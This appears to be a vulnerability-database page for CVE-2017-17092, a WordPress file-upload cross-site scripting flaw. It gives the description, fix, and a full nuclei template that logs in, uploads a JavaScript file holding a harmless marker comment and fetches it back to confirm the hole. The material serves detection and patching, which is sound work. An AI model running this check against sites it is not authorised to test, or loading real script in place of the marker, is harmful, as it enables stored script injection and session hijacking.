HexBrain

Browse / CVEs / CVE-2017-17092

CVE-2017-17092· wordpress / wordpress· CWE-79

WordPress < 4.9.1 - Authenticated JavaScript File Upload

mediumseverity
5.4CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.

Impact

Remote attackers can execute arbitrary JavaScript in the context of the site, leading to potential session hijacking or defacement.

Fix

Update to WordPress 4.9.1 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/upload.php
Positive when: status_code == 200 and contains(body, '_wpnonce')
Send: POST /wp-admin/async-upload.php
Positive when: status_code == 200 and contains_all(body, "success",".js")
Send: GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/{{filename}}.js
Positive when: status_code == 200 and contains(body, "//{{marker}}")

Run it with nuclei: nuclei -id CVE-2017-17092 -u <target>

The full check
id: CVE-2017-17092

info:
  name: WordPress < 4.9.1 - Authenticated JavaScript File Upload
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.
  impact: |
    Remote attackers can execute arbitrary JavaScript in the context of the site, leading to potential session hijacking or defacement.
  remediation: |
    Update to WordPress 4.9.1 or later.
  reference:
    - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    - https://wpscan.com/vulnerability/0d2323bd-aecd-4d58-ba4b-597a43034f57
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17092
    - https://lists.debian.org/debian-lts-announce/2017/12/msg00019.html
    - https://wpvulndb.com/vulnerabilities/8966
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-17092
    cwe-id: CWE-79
    epss-score: 0.03473
    epss-percentile: 0.89185
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: wordpress
    product: wordpress
    shodan-query: http.component:"wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2017,wordpress,wpscan,xss,upload,authenticated,intrusive,file-upload,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  marker: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/upload.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '_wpnonce')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"_wpnonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"

        {{filename}}.js
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="action"

        upload-attachment
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="_wpnonce"

        {{nonce}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.js"
        Content-Type: application/javascript

        //{{marker}}
        ------WebKitFormBoundary{{randstr}}--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "success",".js")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: upload_year
        group: 1
        internal: true
        regex:
          - 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.js'

      - type: regex
        name: upload_month
        group: 1
        internal: true
        regex:
          - 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.js'

  - raw:
      - |
        GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/{{filename}}.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "//{{marker}}")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from